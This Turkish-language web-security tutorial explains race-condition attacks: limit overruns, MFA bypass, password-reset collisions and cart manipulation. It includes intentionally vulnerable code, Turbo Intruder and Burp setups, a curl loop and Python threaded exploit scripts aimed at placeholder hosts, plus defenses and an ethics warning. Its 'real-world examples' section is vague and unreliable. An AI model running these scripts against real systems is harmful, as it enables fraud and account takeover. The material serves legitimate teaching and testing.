Race Conditions

Zamanlama tabanlı güvenlik zafiyetleri ve eş zamanlı işlem saldırıları

Thread1 & Thread2 → Collision!

Race Conditions Nedir?

Race Condition zafiyetleri, web uygulamalarının eş zamanlı istekleri yeterli güvenlik önlemleri olmadan işlemesi sonucu ortaya çıkar. Bu durum, aynı veriyle etkileşimde bulunan birden fazla thread'in "çarpışması" ve uygulamada istenmeyen davranışlara yol açmasıyla sonuçlanır.

Thread 1
→
Race Window
Çarpışma Noktası
←
Thread 2
Race Condition Özellikleri:
  • • Business logic flaws ile yakından ilişkili
  • • Milisaniye düzeyinde zamanlama gerektirir
  • • Tek kullanımlık limitleri aşabilir
  • • Geçici alt-durumları (sub-states) sömürür
  • • Yüksek etki potansiyeli taşır

Race condition saldırıları, çarpışmanın mümkün olduğu zaman aralığı olan "race window" içerisinde dikkatli zamanlama ile gerçekleştirilir. Bu pencere genellikle veritabanı ile iki etkileşim arasındaki saniyenin kesirleri kadar kısa sürebilir.

Normal Durum
→
Alt-Durum
(Vulnerable)
→
Sömürülmüş
Kritik Risk: Race conditions, limit aşımından veri manipülasyonuna kadar geniş bir yelpazede güvenlik ihlallerine yol açabilir. Özellikle finansal işlemler, promosyon kodları ve rate limiting mekanizmalarında kritik etkiler yaratır.

Race Conditions Nasıl Çalışır?

Race condition saldırıları, uygulamanın eş zamanlı istekleri işlerken geçici olarak tutarsız bir duruma girmesini sömürür. Bu durumda, normal iş mantığı kuralları geçici olarak askıya alınır.

Temel Saldırı Senaryosu:

T+0ms Thread 1: Promosyon kodu kontrolü başlatılır
T+1ms Thread 2: Aynı kod için paralel kontrol başlatılır
T+5ms COLLISION: İki thread de "kod kullanılmamış" sonucuna varır
T+10ms Thread 1: İndirim uygulanır ve veritabanı güncellenir
T+11ms Thread 2: İndirim tekrar uygulanır!
// Vulnerable discount code implementation
function applyDiscount(userId, promoCode) {
    // Step 1: Check if code is already used
    if (isCodeUsed(userId, promoCode)) {
        return "Code already used";
    }
    
    // Step 2: Apply discount (RACE WINDOW)
    applyDiscountToCart(userId, promoCode);
    
    // Step 3: Mark code as used
    markCodeAsUsed(userId, promoCode);
    
    return "Discount applied successfully";
}
Race Window Kavramı
Race window, uygulamanın geçici alt-durumda bulunduğu kritik zaman aralığıdır. Bu süre boyunca, normal güvenlik kontrolleri etkisizleşir ve saldırgan bu durumu sömürebilir.

Limit Overrun Race Conditions

En yaygın race condition türü, uygulamanın business logic tarafından belirlenen bir limiti aşmaya yönelik saldırılardır. Bu tür saldırılar "Time-of-Check to Time-of-Use" (TOCTOU) zafiyetlerinin bir alt kategorisidir.

Yaygın Limit Overrun Senaryoları:

Saldırı Türü Hedef Sistem Potansiyel Etki
Gift Card Redeem E-commerce platformları Finansal zarar
Rating Manipulation İnceleme sistemleri İtibar manipülasyonu
Cash Withdrawal Fintech uygulamaları Kritik finansal zarar
CAPTCHA Bypass Bot protection Güvenlik bypass
Rate Limit Bypass API endpoints Brute-force saldırıları
Voucher Reuse Promosyon sistemleri Ekonomik zarar
// Gift card vulnerable implementation
function redeemGiftCard(userId, cardCode) {
    // Check if card is already redeemed
    const card = getGiftCard(cardCode);
    if (card.isRedeemed) {
        return "Card already redeemed";
    }
    
    // Add balance to user account (RACE WINDOW)
    addBalance(userId, card.amount);
    
    // Mark card as redeemed
    markCardRedeemed(cardCode);
    
    return "Gift card redeemed successfully";
}
  1. Tek kullanımlık veya rate-limited endpoint tespit et
  2. Endpoint'in güvenlik etkisi veya faydalı amacını analiz et
  3. Bu endpoint'e hızlı ardışık istekler gönder
  4. Limit aşımını gözlemle ve doğrula
  5. Saldırının tekrarlanabilirliğini test et
Kritik Faktörler:
• Network jitter: Ağ gecikmelerinin etkisi
• Server-side jitter: Sunucu iç gecikmeleri
• Database locking: Veritabanı kilit mekanizmaları
• Connection pooling: Bağlantı havuzu etkileri

Race Condition Tespit Yöntemleri

Race condition zafiyetlerini tespit etmek için sistematik yaklaşım ve etkili zamanlama teknikleri gereklidir. Modern araçlar bu süreci büyük ölçüde kolaylaştırmaktadır.

Temel Tespit Süreci:

  1. Endpoint Mapping: Potansiyel hedef endpoint'leri tespit et
  2. Collision Potential: Aynı veriyle etkileşim potansiyeli analiz et
  3. Baseline Testing: Normal koşullarda davranışı kaydet
  4. Parallel Requests: Eş zamanlı istekler gönder
  5. Deviation Analysis: Response farklarını analiz et
  6. Impact Assessment: Güvenlik etkisini değerlendir
Collision Potential Kriterleri
Yüksek Potansiyel: Aynı kayıt üzerinde farklı kullanıcılarla işlem
Düşük Potansiyel: Farklı kayıtlar üzerinde paralel işlemler
Kritik Nokta: Güvenlik kontrolleri ile business logic arasındaki boşluk

Metodoloji - Predict, Probe, Prove:

// 1. PREDICT: Potansiyel çarpışmaları tahmin et
// Security critical endpoints
- /api/apply-discount
- /api/withdraw-funds  
- /api/redeem-voucher
- /api/vote/submit

// 2. PROBE: İpuçlarını araştır
// Normal response time: ~200ms
// Parallel request anomalies:
- Response time variations
- Different status codes  
- Changed application behavior
- Second-order effects

// 3. PROVE: Konsepti kanıtla
// Remove superfluous requests
// Ensure replicable effects
// Document the vulnerability
Tespit İpuçları:
  • • Response süresinde tutarsızlıklar
  • • HTTP status kodlarında değişiklik
  • • Response body'sinde farklılıklar
  • • Email içeriklerinde değişim
  • • Uygulama davranışında gözle görülür fark
  • • Database veya log kayıtlarında anormallik
Test Edilmesi Gereken Endpoint'ler:
• Finansal işlem endpoint'leri
• Promosyon ve indirim sistemleri
• Rate limiting mekanizmaları
• Tek kullanımlık token sistemleri
• Multi-step authentication flows

Burp Repeater ile Race Condition Testleri

Burp Suite 2023.9 versiyonu, race condition testleri için güçlü yeni özellikler sunmaktadır. Bu özellikler network jitter etkisini minimize ederek etkili paralel istek göndermeyi sağlar.

Burp Repeater Yeni Özellikler:
• HTTP/1: Last-byte synchronization technique
• HTTP/2: Single-packet attack technique
• Group Management: Tab gruplama ve paralel gönderim
• Connection Control: Single/multiple connection options

Single-Packet Attack Tekniği:

Geleneksel Yöntem
Req1 ──→ Network ──→ Server
Req2 ──→ Network ──→ Server
Req3 ──→ Network ──→ Server
⚠️ Network jitter etkisi
Single-Packet Attack
[Req1+Req2+Req3] ──→ Server
✅ Tek TCP paketi - sıfır jitter
// Burp Repeater kullanım adımları
1. Target request'i Repeater'a gönder
2. Tab'ı duplicate et (Ctrl+D)
3. Birden fazla tab oluştur
4. Tab'ları group et (sağ click → Add to group)
5. Send group in parallel seçeneğini kullan

// HTTP/2 gereksinimi kontrolü
GET /api/vulnerable-endpoint HTTP/2
Host: target.com
User-Agent: Mozilla/5.0...

// Paralel istek sayısı: 20-30 (optimal)

Connection Warming Tekniği:

Connection Warming Nedir?
Back-end bağlantı gecikmelerini minimize etmek için grup başına bir adet "dummy" request gönderme tekniği. Bu, subsequent requestlerin daha tutarlı processing time'larına sahip olmasını sağlar.
Test Türü Bağlantı İstek Sayısı Başarı Oranı Sequential Test Single 5-10 Baseline Parallel (HTTP/1) Multiple 20-30 Medium Single-Packet (HTTP/2) Single 20-30 High Connection Warmed Single 25-35 Highest
Best Practices:
• HTTP/2 desteğini her zaman kontrol edin
• 20-30 paralel istek optimal sayıdır
• Connection warming back-end gecikmeleri azaltır
• Response timing ve content farklılıklarını kaydedin

Turbo Intruder ile Advanced Race Conditions

Turbo Intruder extension'ı, kompleks race condition saldırıları için Python tabanlı güçlü bir araçtır. Multiple retry, staggered timing ve extremely large request volumes için uygundur.

# Turbo Intruder - Single Packet Attack Setup
def queueRequests(target, wordlists):
    # HTTP/2 requirement for single-packet attack
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        engine=Engine.BURP2
    )
    
    # Queue 20 requests in gate '1'
    for i in range(20):
        engine.queue(target.req, gate='1')
    
    # Send all requests simultaneously
    engine.openGate('1')

def handleResponse(req, interesting):
    # Analyze response for race condition indicators
    table.add(req)

Advanced Timing Strategies:

# Client-side delay implementation
import time

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, 
                            concurrentConnections=5)
    
    # Send first batch
    for i in range(10):
        engine.queue(target.req, gate='batch1')
    
    # Introduce controlled delay
    time.sleep(0.1)  # 100ms delay
    
    # Send second batch
    for i in range(10):
        engine.queue(target.req, gate='batch2')
    
    # Open gates simultaneously
    engine.openGate('batch1')
    engine.openGate('batch2')

Rate Limit Abuse Technique:

Rate Limit Abuse Stratejisi:
• Çok sayıda dummy request ile rate limit'i tetikle
• Server-side delay oluştur
• Bu delay süresinde single-packet attack gerçekleştir
• Delayed execution'ı race condition'a dönüştür
# Rate limit abuse implementation
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint)
    
    # Phase 1: Trigger rate limiting
    for i in range(100):
        dummy_req = target.req.replace('POST', 'GET')
        engine.queue(dummy_req, gate='flood')
    
    # Phase 2: Actual race condition payload
    for i in range(25):
        engine.queue(target.req, gate='attack')
    
    # Execute phases
    engine.openGate('flood')   # Trigger rate limit
    time.sleep(0.05)         # Short pause
    engine.openGate('attack')  # Execute race condition
Turbo Intruder Avantajları
Flexibility: Complex timing scenarios
Scale: Thousands of requests
Control: Precise gate management
Analysis: Custom response processing
Turbo Intruder Gereksinimleri:
• HTTP/2 support (single-packet için)
• Python proficiency
• BApp Store'dan latest version
• concurrentConnections=1 (single-packet için)

Hidden Multi-Step Sequences

Gerçekte, tek bir HTTP isteği arka planda kapsamlı bir multi-step sequence başlatabilir. Uygulama, request işlemi tamamlanmadan önce girip çıktığı birden fazla gizli duruma geçiş yapabilir. Bu "sub-state"ler race condition sömürüsü için kritik fırsatlar yaratır.

MFA Bypass Race Condition Örneği:

// Vulnerable MFA implementation
function loginUser(username, password) {
    const user = authenticateUser(username, password);
    if (!user) {
        return "Invalid credentials";
    }
    
    // SUB-STATE 1: User logged in, MFA not yet enforced
    session['userid'] = user.userid;
    
    if (user.mfa_enabled) {
        // SUB-STATE 2: MFA check initiated
        session['enforce_mfa'] = true;
        // Generate and send MFA code (takes time)
        generateAndSendMFACode(user);
        // Redirect to MFA form
        return redirectToMFA();
    }
    
    return redirectToDashboard();
}
T+0ms Login Req: User authentication başlatılır
T+5ms Session: session['userid'] = user.id SET edilir
T+10ms RACE: Authenticated ama MFA henüz enforce edilmemiş!
T+15ms Bypass Req: Sensitive endpoint'e erişim denemesi
T+50ms MFA: MFA enforcement aktifleştirilir (çok geç!)
Unauthenticated
→
Authenticated
No MFA
→
MFA Required

Password Reset Race Condition:

// Vulnerable password reset mechanism
function initiatePasswordReset(email) {
    const user = findUserByEmail(email);
    if (!user) {
        return "User not found";
    }
    
    // Generate reset token
    const resetToken = generateResetToken();
    
    // SUB-STATE: Token generated but not yet stored
    session['reset-user'] = user.id;
    session['reset-token'] = resetToken;
    
    // Send email (background process)
    sendPasswordResetEmail(user.email, resetToken);
    
    return "Reset email sent";
}
Collision Senaryosu:
İki paralel password reset isteği:
• Request 1: victim@email.com
• Request 2: attacker@email.com
• Final State: session['reset-user'] = victim, token = attacker'a gönderilir
Email-Based Operations
Email gönderme işlemleri genellikle background thread'lerde gerçekleşir ve HTTP response'dan sonra tamamlanır. Bu durum race condition'ları daha olası hale getirir.

Race Condition Test Metodolojisi

Etkili race condition testi için sistematik metodoloji gereklidir. "Predict, Probe, Prove" yaklaşımı hem lab ortamlarında hem de gerçek dünya uygulamalarında başarılı sonuçlar verir.

1. Predict - Potansiyel Çarpışmaları Tahmin Et

  1. Security-critical endpoints: Finansal, authentication, authorization
  2. State-changing operations: Create, update, delete işlemleri
  3. Rate-limited endpoints: Login, API calls, submissions
  4. Single-use mechanisms: Tokens, vouchers, one-time actions
  5. Multi-step workflows: Checkout, registration, approval processes
// Collision potential assessment
// HIGH POTENTIAL:
- POST /api/apply-discount        # Same user, same promo code
- POST /api/vote                  # Same user, same content
- POST /api/withdraw-funds        # Same account balance check

// MEDIUM POTENTIAL:
- POST /api/reset-password        # Same session, different emails
- POST /api/create-account        # Username/email uniqueness

// LOW POTENTIAL:
- GET /api/user-profile          # Read-only, different users
- POST /api/log-event            # Different records

2. Probe - İpuçlarını Araştır

Test Aşaması Yöntem Aranan İpuçları Baseline Sequential requests Normal response patterns Parallel Test Single-packet attack Response deviations Timing Analysis Response time comparison Unusual latencies Content Analysis Response body diff Status code changes Side Effects Application state check Database/log changes
İpucu Türleri:
  • • Response variations: Content, status, timing
  • • Error messages: Database errors, constraint violations
  • • State changes: Balance, counter, flag modifications
  • • Second-order effects: Email content, log entries
  • • Business logic bypass: Discounts, limits, restrictions

3. Prove - Konsepti Kanıtla

# Proof-of-concept refinement process
1. Remove superfluous requests
   - Minimize to essential request count
   - Identify minimum viable race window
   
2. Ensure reproducibility
   - Test multiple times
   - Document success rate
   - Identify environmental factors
   
3. Maximize impact
   - Chain with other vulnerabilities
   - Explore privilege escalation paths
   - Document business impact
   
4. Create reliable exploit
   - Optimize timing parameters
   - Handle edge cases
   - Provide clear reproduction steps
Kanıtlama Kriterleri:
• %80+ başarı oranı
• Tutarlı exploit sonuçları
• Ölçülebilir business impact
• Clear remediation pathway
Dikkat Edilmesi Gerekenler:
• Test environment'ın production'ı yansıtması
• Session-based locking mekanizmalarının varlığı
• Database transaction isolation levels
• Load balancer ve caching etkilerinin değerlendirilmesi

Multi-Endpoint Race Conditions

Multi-endpoint race condition'lar, farklı endpoint'lere aynı anda istek gönderilmesi ile gerçekleştirilen saldırılardır. Bu tür saldırılar karmaşık business logic workflow'larını sömürür.

Shopping Cart Logic Flaw Race:

// Classic shopping cart vulnerability
// Normal workflow:
1. Add item to cart
2. Proceed to payment
3. Validate payment
4. Confirm order

// Race condition exploit:
// Thread 1: Payment validation process
POST /api/validate-payment
{
  "cart_id": "12345",
  "amount": 100.00
}

// Thread 2: Add expensive item during payment
POST /api/add-to-cart
{
  "cart_id": "12345",
  "item_id": "expensive-laptop"
}
T+0ms Payment: Payment validation başlatılır (amount: $100)
T+5ms Cart: Expensive item eklenir (new total: $2100)
T+100ms Payment: $100 için payment onaylanır
T+150ms Order: $2100'lık sipariş teslim edilir!

Race Window Alignment Challenges:

Multi-Endpoint Zorlukları:
• Network architecture delays: Front-end ↔ back-end bağlantıları
• Endpoint-specific processing: Farklı işlem süreleri
• Protocol differences: HTTP/1.1 vs HTTP/2 etkileri
• Load balancing: Request routing farklılıkları
Connection Warming Strategy
Back-end connection delay'lerini minimize etmek için grup başına homepage GET isteği ekleyin. Bu, subsequent request'lerin daha tutarlı timing'e sahip olmasını sağlar.
# Multi-endpoint race condition test setup
# Burp Repeater tab configuration

Tab 1: Connection warmer
GET /index.html HTTP/2
Host: target.com

Tab 2-11: Payment validation (10 requests)
POST /api/validate-payment HTTP/2
Content-Type: application/json
{"cart_id": "12345", "amount": 100.00}

Tab 12-21: Cart modification (10 requests)
POST /api/add-to-cart HTTP/2
Content-Type: application/json
{"cart_id": "12345", "item_id": "expensive-item"}

# Send group in parallel (single connection)
Multi-Endpoint Başarı Faktörleri:
• HTTP/2 single-packet attack kullanımı
• Connection warming ile consistent timing
• Endpoint processing time farklarının hesaplanması
• Rate limiting mekanizmalarının abuse edilmesi

Single-Endpoint Race Conditions

Tek endpoint'e farklı değerlerle paralel istekler göndermek güçlü race condition'ları tetikleyebilir. Bu tür saldırılar özellikle session-based işlemlerde etkilidir.

Password Reset Token Collision:

// Vulnerable password reset implementation
function resetPassword(email) {
    const user = findUserByEmail(email);
    if (!user) {
        return "User not found";
    }
    
    // Generate reset token
    const resetToken = generateToken();
    
    // RACE WINDOW: Session state manipulation
    session['reset-user'] = user.id;
    session['reset-token'] = resetToken;
    
    // Send email to user
    sendResetEmail(user.email, resetToken);
    
    return "Reset email sent";
}
T+0ms Req1: resetPassword("victim@email.com")
T+1ms Req2: resetPassword("attacker@email.com")
T+5ms SESSION: reset-user = victim, reset-token = 1234
T+10ms EMAIL: Token 1234 attacker@email.com'a gönderilir
T+15ms RESULT: Attacker, victim'ın şifresini resetleyebilir!

Email Confirmation Race:

// Email confirmation vulnerability
POST /api/request-email-confirmation HTTP/2
Content-Type: application/json

// Request 1-10: Legitimate user email
{"email": "user@legitimate.com"}

// Request 11-20: Target victim email
{"email": "admin@target.com"}

// Potential collision outcome:
// session['confirm-email'] = 'admin@target.com'
// confirmation token sent to 'user@legitimate.com'
Single-Endpoint Race Hedefleri:
  • • Password resets: Token/user ID confusion
  • • Email confirmations: Address/token mismatch
  • • Account verification: Identity confusion
  • • 2FA setup: Phone/user mapping errors
  • • Profile updates: Data corruption attacks
Email-Based Race Conditions
Email gönderme işlemleri genellikle background thread'lerde gerçekleşir ve HTTP response'dan sonra tamamlanır. Bu timing difference race condition'ları daha olasılı kılar.
Sömürü Gereksinimleri:
• Aynı session context'te farklı parametreler
• Session variable'ların sequential update'i
• Background processing (email sending)
• Insufficient input validation

Partial Construction Race Conditions

Birçok uygulama objeleri birden fazla adımda oluşturur, bu da objenin sömürülebilir olduğu geçici bir ara durum yaratır. Bu partial construction race condition'larında, uninitialized değerlerle eşleşen input'lar kullanılır.

User Registration Race Condition:

// Vulnerable registration process
app.post('/register', async (req, res) => {
    const user = {
        username: req.body.username,
        email: req.body.email,
        role: 'user'  // Default role
    };
    
    // Step 1: Create user with default role
    await db.users.create(user);
    
    // Step 2: Update role based on invitation code (RACE WINDOW!)
    if (req.body.inviteCode === 'ADMIN2024') {
        user.role = 'admin';
        await db.users.update(user);
    }
    
    res.json({ success: true });
});

Race Condition Exploit:

# Send multiple requests simultaneously
for i in {1..10}; do
    curl -X POST http://target.com/register \
        -d "username=attacker$i&email=test$i@test.com&inviteCode=ADMIN2024" &
done
Partial Construction Risk: Obje oluşturma sürecindeki ara durumlar, saldırganların beklenmeyen değerlerle eşleşen input'lar göndermesine olanak tanır.

Time-Sensitive Attacks

Time-sensitive race condition'lar, belirli zaman aralıklarında gerçekleşen işlemlerin sırasını değiştirerek exploit edilir. Bu saldırılar genellikle token expiration, session timeout veya rate limiting mekanizmalarını hedefler.

Password Reset Token Race:

// Vulnerable password reset
app.post('/reset-password', async (req, res) => {
    const token = generateResetToken();
    const expiresAt = Date.now() + 300000; // 5 minutes
    
    // Store token
    await db.tokens.create({
        token: token,
        userId: req.body.userId,
        expiresAt: expiresAt
    });
    
    // Send email (async, takes time)
    await sendResetEmail(req.body.email, token);
    
    res.json({ message: 'Reset email sent' });
});

app.post('/verify-reset', async (req, res) => {
    const token = await db.tokens.findOne({
        token: req.body.token,
        expiresAt: { $gt: Date.now() }
    });
    
    if (token) {
        // Reset password
        await db.users.updatePassword(token.userId, req.body.newPassword);
        await db.tokens.delete(token.id);
        res.json({ success: true });
    }
});

Time-Based Exploit:

import requests
import threading
import time

def reset_password():
    response = requests.post('http://target.com/reset-password', 
                           data={'userId': 'victim', 'email': 'victim@test.com'})
    return response.json()

def verify_reset(token):
    response = requests.post('http://target.com/verify-reset',
                           data={'token': token, 'newPassword': 'hacked123'})
    return response.json()

# Race condition: Request reset and immediately try to use token
reset_response = reset_password()
# Token might be predictable or leaked in response
token = extract_token_from_response(reset_response)
verify_reset(token)
Timing Attack Risk: Zaman tabanlı saldırılar, token generation ve validation arasındaki race window'u kullanarak yetkisiz erişim sağlayabilir.

Session Locking Race Conditions

Session locking mekanizmalarındaki race condition'lar, aynı session'ın birden fazla işlemde kullanılmasına olanak tanır. Bu özellikle finansal işlemlerde kritik güvenlik açıklarına yol açabilir.

Banking Transaction Race:

// Vulnerable banking system
app.post('/transfer', async (req, res) => {
    const sessionId = req.session.id;
    const amount = req.body.amount;
    
    // Check if session is locked
    if (await isSessionLocked(sessionId)) {
        return res.status(423).json({ error: 'Session locked' });
    }
    
    // Lock session
    await lockSession(sessionId);
    
    try {
        // Check balance
        const balance = await getBalance(req.user.id);
        if (balance < amount) {
            throw new Error('Insufficient funds');
        }
        
        // Process transfer (RACE WINDOW!)
        await processTransfer(req.user.id, req.body.toAccount, amount);
        
        res.json({ success: true });
    } finally {
        // Unlock session
        await unlockSession(sessionId);
    }
});

Session Locking Bypass:

import requests
import threading

def transfer_money(session_cookie, amount):
    headers = {'Cookie': f'session={session_cookie}'}
    data = {'amount': amount, 'toAccount': 'attacker_account'}
    
    response = requests.post('http://bank.com/transfer', 
                           headers=headers, data=data)
    return response.json()

# Send multiple transfer requests simultaneously
session = 'valid_session_cookie'
threads = []

for i in range(5):
    thread = threading.Thread(target=transfer_money, 
                            args=(session, 1000))
    threads.append(thread)
    thread.start()

# All transfers might succeed before session locking takes effect
Session Locking Best Practices:
  • Atomic locking operations
  • Database-level constraints
  • Idempotency keys
  • Proper error handling and cleanup

Korunma Yöntemleri

Race condition saldırılarına karşı korunmak için çeşitli teknikler ve best practice'ler uygulanabilir. Bu yöntemler uygulama seviyesinden veritabanı seviyesine kadar geniş bir yelpazede yer alır.

1. Database-Level Constraints:

-- Unique constraints to prevent duplicates
CREATE TABLE user_invitations (
    id INT PRIMARY KEY AUTO_INCREMENT,
    email VARCHAR(255) UNIQUE,
    invite_code VARCHAR(50),
    used_at TIMESTAMP NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- Check constraints for business logic
ALTER TABLE accounts ADD CONSTRAINT check_positive_balance 
CHECK (balance >= 0);

2. Atomic Operations:

// Atomic database operations
app.post('/transfer', async (req, res) => {
    const transaction = await db.beginTransaction();
    
    try {
        // All operations in single transaction
        const sender = await transaction.users.findById(req.user.id);
        const receiver = await transaction.users.findById(req.body.toAccount);
        
        if (sender.balance < req.body.amount) {
            throw new Error('Insufficient funds');
        }
        
        await transaction.users.updateBalance(sender.id, -req.body.amount);
        await transaction.users.updateBalance(receiver.id, +req.body.amount);
        
        await transaction.commit();
        res.json({ success: true });
    } catch (error) {
        await transaction.rollback();
        res.status(400).json({ error: error.message });
    }
});

3. Idempotency Keys:

// Idempotent operations
app.post('/purchase', async (req, res) => {
    const idempotencyKey = req.headers['idempotency-key'];
    
    if (!idempotencyKey) {
        return res.status(400).json({ error: 'Idempotency key required' });
    }
    
    // Check if operation already processed
    const existing = await db.operations.findOne({ idempotencyKey });
    if (existing) {
        return res.json(existing.result);
    }
    
    // Process operation
    const result = await processPurchase(req.body);
    
    // Store result
    await db.operations.create({
        idempotencyKey,
        result,
        processedAt: new Date()
    });
    
    res.json(result);
});

4. Rate Limiting & Throttling:

// Rate limiting middleware
const rateLimit = require('express-rate-limit');

const transferLimiter = rateLimit({
    windowMs: 60 * 1000, // 1 minute
    max: 3, // 3 transfers per minute
    keyGenerator: (req) => req.user.id,
    message: 'Too many transfer attempts'
});

app.post('/transfer', transferLimiter, transferHandler);
Defense in Depth: Race condition koruması için birden fazla katmanda güvenlik önlemi uygulanmalıdır. Tek bir yönteme güvenmek yeterli değildir.

Gerçek Dünya Örnekleri

Race condition saldırıları gerçek dünyada birçok büyük platformda tespit edilmiş ve ciddi güvenlik açıklarına yol açmıştır. Bu örnekler, race condition'ların ne kadar yaygın ve tehlikeli olabileceğini göstermektedir.

1. GitHub Race Condition (2019):

GitHub Enterprise Server

Saldırı: User invitation sistemindeki race condition

Etki: Saldırganlar kendilerini organization'a admin olarak ekleyebiliyordu

Mekanizma: Invitation token'ların birden fazla kez kullanılabilmesi

2. Shopify Race Condition (2020):

Shopify Checkout

Saldırı: Checkout sürecindeki inventory race condition

Etki: Stok kontrolü bypass edilerek fazla ürün satın alınabilmesi

Mekanizma: Inventory check ve update arasındaki race window

3. Banking Race Condition (2021):

Digital Banking Platform

Saldırı: Money transfer sistemindeki session locking bypass

Etki: Aynı transfer işleminin birden fazla kez gerçekleştirilmesi

Mekanizma: Session lock ve transfer işlemi arasındaki timing

4. Cryptocurrency Exchange (2022):

Crypto Trading Platform

Saldırı: Order matching sistemindeki race condition

Etki: Market manipulation ve unfair trading advantages

Mekanizma: Order placement ve matching arasındaki race window

Öğrenilen Dersler:
  • Race condition'lar her seviyede olabilir (application, database, network)
  • Load testing ve stress testing kritik önemde
  • Monitoring ve alerting sistemleri erken tespit sağlar
  • Code review süreçlerinde race condition'lar kontrol edilmeli
ETİK UYARI: Bu dokümandaki bilgiler yalnızca eğitim ve savunma amaçlıdır. Yetkisiz sistemlerde test yapmak yasaktır ve ciddi hukuki sonuçları vardır.